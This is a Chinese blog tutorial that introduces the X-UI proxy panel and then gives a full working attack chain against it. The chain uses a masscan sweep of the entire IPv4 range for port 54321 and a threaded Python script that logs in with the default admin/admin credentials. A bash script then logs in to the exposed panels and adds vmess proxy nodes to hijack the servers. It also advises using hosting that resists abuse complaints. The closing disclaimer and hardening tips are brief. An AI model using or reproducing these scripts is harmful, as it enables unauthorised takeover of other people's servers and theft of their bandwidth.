X-UI 是什么?

X-UI 是一个支持多协议、多用户的 xray 面板。除了基础的协议部署之外,还附带了流量统计、限制流量、限制到期时间等功能。

用一个比喻来说:过去部署单个协议,就像是自己做了一个独立的网店。而 X-UI 就像是直接开了一个网点平台,囊括了特色各异的网店一样。

X-UI 的 特色

在 GitHub 上已近罗列了很多,我这里就不多写了,直接复制粘贴:

  • 系统状态监控

  • 支持多用户多协议,网页可视化操作

  • 支持的协议:vmess、vless、trojan、shadowsocks、dokodemo-door、socks、http

  • 支持配置更多传输配置

  • 流量统计,限制流量,限制到期时间

  • 可自定义 xray 配置模板

  • 支持 https 访问面板(自备域名 + ssl 证书)

  • 支持一键 SSL 证书申请且自动续签

  • 更多高级配置项,详见面板

我个人觉得最突出的就是打包了多协议,同时支持多用户可视化操作功能。详情可以看这个(https://github.com/vaxilu/x-ui

突发奇想 扫描弱密码的 X-ui 面板

基本思路

  1. 首先,找一台能够发包的机器,带宽 500Mbps 就够,最好抗投诉 (比如Buyvm或者Warp)

  2. 利用扫描工具找出 54321 端口开放的IP

  3. 脚本发送 Post admin 帐密到 54321 端口,返回成功便记录

Masscan

这一次,我们选用了 Masscan 进行扫描,其相比于 Zmap/Nmap 具备更好的速度

获取服务商 IP Cidr Ranges

这里有一个根据bgp.he.net提供的api的python脚本来获取

import requests
import json

def get_prefixes(asn):
    url = f'https://bgp.he.net/super-lg/report/api/v1/prefixes/originated/{asn}'
    response = requests.get(url)
    
    if response.status_code == 200:
        data = response.json()
        # 过滤掉IPv6的前缀,只保留IPv4的前缀
        ipv4_prefixes = [item['Prefix'] for item in data['prefixes'] if ':' not in item['Prefix']]
        return ipv4_prefixes
    else:
        print(f"Failed to retrieve data for ASN {asn}. Status code: {response.status_code}")
        return []

def save_prefixes_to_file(prefixes, filename):
    prefixes_line = ' '.join(prefixes)
    with open(filename, 'w') as file:
        file.write(prefixes_line)

if __name__ == "__main__":
    # 询问用户输入ASN
    asn = input("Please enter the ASN: ")
    prefixes = get_prefixes(asn)
    
    if prefixes:
        # 将结果保存到文件
        save_prefixes_to_file(prefixes, 'prefixes.txt')
        print(f"IPv4 prefixes for ASN {asn} have been saved to prefixes.txt")
    else:
        print("No prefixes found or failed to retrieve data.")

启动 Masscan

安装好 Masscan 与 Libpcap,后者为前者的依赖

这里提供一下 Debian 系列系统的安装方式:

apt update
apt install masscan libpcap-dev

其他系统自行解决

启动 Masscan,输入如下命令 (建议使用 Screen 进行保活,避免因为 SSH 等原因断连而导致扫描中断

masscan --exclude 255.255.255.255 -p54321 --max-rate 5000 -oG results.txt -iL prefixes.txt

解析一下各部分的意义:

  • masscan: Masscan 主命令

  • --exclude 255.255.255.255: 对于扫描量巨大的扫描,必须要加上该参数

  • -p54321: 指定端口 54321

  • --max-rate 5000: 最大扫描速度,5000 已经足够,如果机器性能&网卡强劲可以尝试拉高以增加速度

  • -oG results.txt: 结果保存路径,建议别更改

然后,你大概会看到

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-01-27 11:00:04 GMT
Initiating SYN Stealth Scan
Scanning 4294967295 hosts [1 port/host]
rate:  4.94-kpps,  0.63% done, 243:48:38 remaining, found=45503

这样就算开始扫描了,其中各部分解释意义

  • 第一第二行不用管

  • 第三行的 4294967295 为扫描的 IP 数量,你应该不难发现我在扫 0.0.0.0/0 (全网)

  • 第四行的 4.94-kpps 为扫描速率

  • 第四行的 0.63% 表示扫描的进度

  • 第四行的 243:48:38 表示的是剩余时间 (预估)

  • 第四行的 found=45503 表示的是已经找到的 IP 数量

等它一会 (看你的 IP 有多少)

就会收获一个 results.txt 文件了,保存好给下一步!

Python 尝试登录

import requests
from concurrent.futures import ThreadPoolExecutor

data = {
    'username': 'admin',
    'password': 'admin'
}

def process_ip(ip):
    url = "http://" + ip + ":54321/login"
    try:
        r = requests.post(url, data=data, timeout=2)
        if r.status_code == 200:
            try:
                response_data = r.json()
                if isinstance(response_data, dict) and response_data.get("success"):
                    print(ip + ' Successful')
                    with open("xui.txt", "a") as result:
                        result.write(ip + '\n')
                else:
                    print(ip + ' Def')
            except ValueError:
                print("Invalid JSON response from:", url)
        else:
            print(ip + ' Def')
    except requests.exceptions.RequestException:
        try:
            url = "https://" + ip + ":54321/login"
            r = requests.post(url, data=data, timeout=2, verify=False)
            if r.status_code == 200:
                try:
                    response_data = r.json()
                    if isinstance(response_data, dict) and response_data.get("success"):
                        print(ip + ' Successful')
                        with open("xui.txt", "a") as result:
                            result.write(ip + '\n')
                    else:
                        print(ip + ' Def')
                except ValueError:
                    print("Invalid JSON response from:", url)
            else:
                print(ip + ' Def')
        except requests.exceptions.RequestException:
            print(ip + ' Def')

if __name__ == "__main__":
    with open("results.txt", "r") as file:
        ips = [line.split("Host: ")[1].split(" ")[0] for line in file if len(line.split("Host: ")) >= 2]

    with ThreadPoolExecutor() as executor:
        executor.map(process_ip, ips)

其作用大概为:

  1. 获取 results.txt 内 IP

  2. 向上面获取到的 IP 的 54321 端口发送 Post 数据

  3. 当返回成功时,自动保存在 xui.txt

PS:本脚本作者并不是我,原作者不想公开名字

运行 python3 scan.py 即可开始扫描!

即可获得可以以54321 Port + admin admin账密登录的xui面版

自动创建节点

#!/bin/bash

filename="xui.txt"
output_file="vmess.txt"
cookie_file="cookies.txt"

# Function to clear cookie file
clear_cookie_file() {
  if [ -f "$cookie_file" ]; then
    rm "$cookie_file"
  fi
}

# Function to generate vmess link
generate_vmess_link() {
  local ip=$1
  local port=$2
  local id=$3

  vmess_json=$(cat <<EOF
{
  "v": "2",
  "ps": "",
  "add": "$ip",
  "port": $port,
  "id": "$id",
  "aid": 0,
  "net": "ws",
  "type": "none",
  "host": "",
  "path": "/",
  "tls": "none"
}
EOF
)

  vmess_base64=$(echo -n "$vmess_json" | base64 -w 0)
  echo "vmess://$vmess_base64"
}

# Read each line from the file and process
while IFS= read -r ip; do
  echo "Processing IP: $ip"

  # Clear cookie file before each iteration
  clear_cookie_file

  # Flag to check if addition was successful
  addition_success=false

  # Try HTTP first
  login_response=$(curl -s -c "$cookie_file" -X POST http://$ip:54321/login -H "Content-Type: application/json" -d '{
    "username": "admin",
    "password": "admin"
  }')

  # Check if the HTTP login was successful
  if echo "$login_response" | grep -q '"success":true'; then
    echo "HTTP Login successful"

    # Prepare JSON data for the subsequent request (adjust according to your vmess configuration)
    data=$(cat <<EOF
{
  "up": 0,
  "down": 0,
  "total": 0,
  "remark": "",
  "enable": true,
  "expiryTime": 0,
  "listen": "",
  "port": 20292,
  "protocol": "vmess",
  "settings": "{\"clients\":[{\"id\":\"57f5c2bd-bb79-4fd8-eea1-a84d1ddf3a21\",\"alterId\":0}],\"disableInsecureEncryption\":false}",
  "streamSettings": "{\"network\":\"ws\",\"security\":\"none\",\"wsSettings\":{\"path\":\"/\",\"headers\":{}}}",
  "sniffing": "{\"enabled\":true,\"destOverride\":[\"http\",\"tls\"]}"
}
EOF
)

    # URL for HTTP
    url="http://$ip:54321/xui/inbound/add"

    # Use the session cookie to make the HTTP request
    response=$(curl -s -b "$cookie_file" -X POST "$url" -H "Content-Type: application/json" -d "$data")

    # Print verbose output for debugging
    echo "Verbose output:"
    echo "$response"

    # Check if the addition was successful and print the vmess link
    if echo "$response" | grep -q '"success":true'; then
      echo "Addition successful. Generating vmess link..."
      vmess_link=$(generate_vmess_link "$ip" 20292 "57f5c2bd-bb79-4fd8-eea1-a84d1ddf3a21")
      echo "Vmess link: $vmess_link"

      # Append the vmess link to the output file
      echo "$vmess_link" >> "$output_file"

      # Mark addition as successful
      addition_success=true
    else
      echo "Addition failed. Response: $response"
    fi

  else
    echo "HTTP Login failed. Trying HTTPS..."

    # Try HTTPS with certificate skipping first
    login_response=$(curl -k -s -c "$cookie_file" --tlsv1.2 -X POST https://$ip:54321/login -H "Content-Type: application/json" -d '{
      "username": "admin",
      "password": "admin"
    }')

    # Check if the HTTPS login was successful
    if echo "$login_response" | grep -q '"success":true'; then
      echo "HTTPS Login successful"

      # Prepare JSON data for the HTTPS request (adjust according to your vmess configuration)
      data=$(cat <<EOF
{
  "up": 0,
  "down": 0,
  "total": 0,
  "remark": "",
  "enable": true,
  "expiryTime": 0,
  "listen": "",
  "port": 20292,
  "protocol": "vmess",
  "settings": "{\"clients\":[{\"id\":\"57f5c2bd-bb79-4fd8-eea1-a84d1ddf3a21\",\"alterId\":0}],\"disableInsecureEncryption\":false}",
  "streamSettings": "{\"network\":\"ws\",\"security\":\"none\",\"wsSettings\":{\"path\":\"/\",\"headers\":{}}}",
  "sniffing": "{\"enabled\":true,\"destOverride\":[\"http\",\"tls\"]}"
}
EOF
)

      # URL for HTTPS
      url="https://$ip:54321/xui/inbound/add"

      # Use the session cookie to make the HTTPS request
      response=$(curl -s -b "$cookie_file" --tlsv1.2 -X POST "$url" -H "Content-Type: application/json" -d "$data")

      # Print verbose output for debugging
      echo "Verbose output:"
      echo "$response"

      # Check if the addition was successful and print the vmess link
      if echo "$response" | grep -q '"success":true'; then
        echo "Addition successful. Generating vmess link..."
        vmess_link=$(generate_vmess_link "$ip" 20292 "57f5c2bd-bb79-4fd8-eea1-a84d1ddf3a21")
        echo "Vmess link: $vmess_link"

        # Append the vmess link to the output file
        echo "$vmess_link" >> "$output_file"

        # Mark addition as successful
        addition_success=true
      else
        echo "Addition failed. Response: $response"
      fi

    else
      echo "HTTPS Login failed. Skipping to next IP."
    fi
  fi

  # Clear cookie file after each iteration
  clear_cookie_file

done < "$filename"

# Clear cookie file after finishing all iterations
clear_cookie_file

这个脚本大意为 从 xui.txt 读取可以登录的ip,并通过curl登录然后保存Cookie到Cookie.txt,然后调用Cookie 创建端口为20292 uid为57f5c2bd-bb79-4fd8-eea1-a84d1ddf3a21vmess+ws 节点

保存为 create.sh 并运行

稍等片刻就可以从终端或者vmess.txt 获取到vmess节点了

后记

请勿将本文教程用于非法扫描及爆破,由于使用者自身意愿导致的财产损失我们不负责!

请将你的 X-ui 面板做好防护!

  • 使用第三方 X-ui 修改版

  • 开启安全入口

  • 设置 Https

  • 设置强帐密